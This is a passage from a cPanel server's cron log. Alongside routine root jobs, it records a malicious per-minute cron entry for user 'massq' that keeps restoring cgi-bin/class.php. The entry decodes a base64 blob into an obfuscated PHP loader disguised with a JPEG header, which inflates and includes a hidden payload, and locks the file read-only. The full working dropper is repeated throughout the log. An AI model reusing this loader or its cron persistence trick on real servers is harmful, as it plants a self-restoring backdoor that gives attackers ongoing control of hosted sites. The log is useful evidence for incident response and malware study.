> "$fp"; fi; chmod 444 "$fp")
Sep  7 23:18:01 server CROND[1278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:18:01 server CROND[1279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:18:01 server CROND[1283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:19:01 server CROND[1757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:19:01 server CROND[1758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:19:01 server CROND[1759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:20:01 server CROND[2184]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:20:01 server CROND[2186]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:20:01 server CROND[2189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:20:02 server CROND[2190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:20:02 server CROND[2191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:20:02 server CROND[2197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:20:02 server CROND[2195]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 23:20:02 server CROND[2194]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:20:02 server CROND[2196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:21:01 server CROND[3047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:21:01 server CROND[3048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:21:01 server CROND[3049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:22:01 server CROND[3529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:22:01 server CROND[3528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:22:01 server CROND[3530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:23:02 server CROND[4425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:23:02 server CROND[4426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:23:02 server CROND[4427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:24:01 server CROND[4803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:24:01 server CROND[4805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:24:01 server CROND[4804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:25:01 server CROND[5278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:25:01 server CROND[5282]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:25:01 server CROND[5279]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:25:01 server CROND[5280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:25:01 server CROND[5281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:25:01 server CROND[5285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:25:01 server CROND[5286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:26:01 server CROND[6125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:26:01 server CROND[6126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:26:01 server CROND[6124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:27:01 server CROND[6501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:27:01 server CROND[6503]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 23:27:01 server CROND[6502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:27:01 server CROND[6504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:28:01 server CROND[7094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:28:01 server CROND[7093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:28:01 server CROND[7095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:29:01 server CROND[7470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:29:01 server CROND[7472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:29:01 server CROND[7471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:30:01 server CROND[8317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:30:01 server CROND[8318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:30:01 server CROND[8319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:30:01 server CROND[8326]: (root) CMD (/usr/lib64/sa/sa1 1 1)
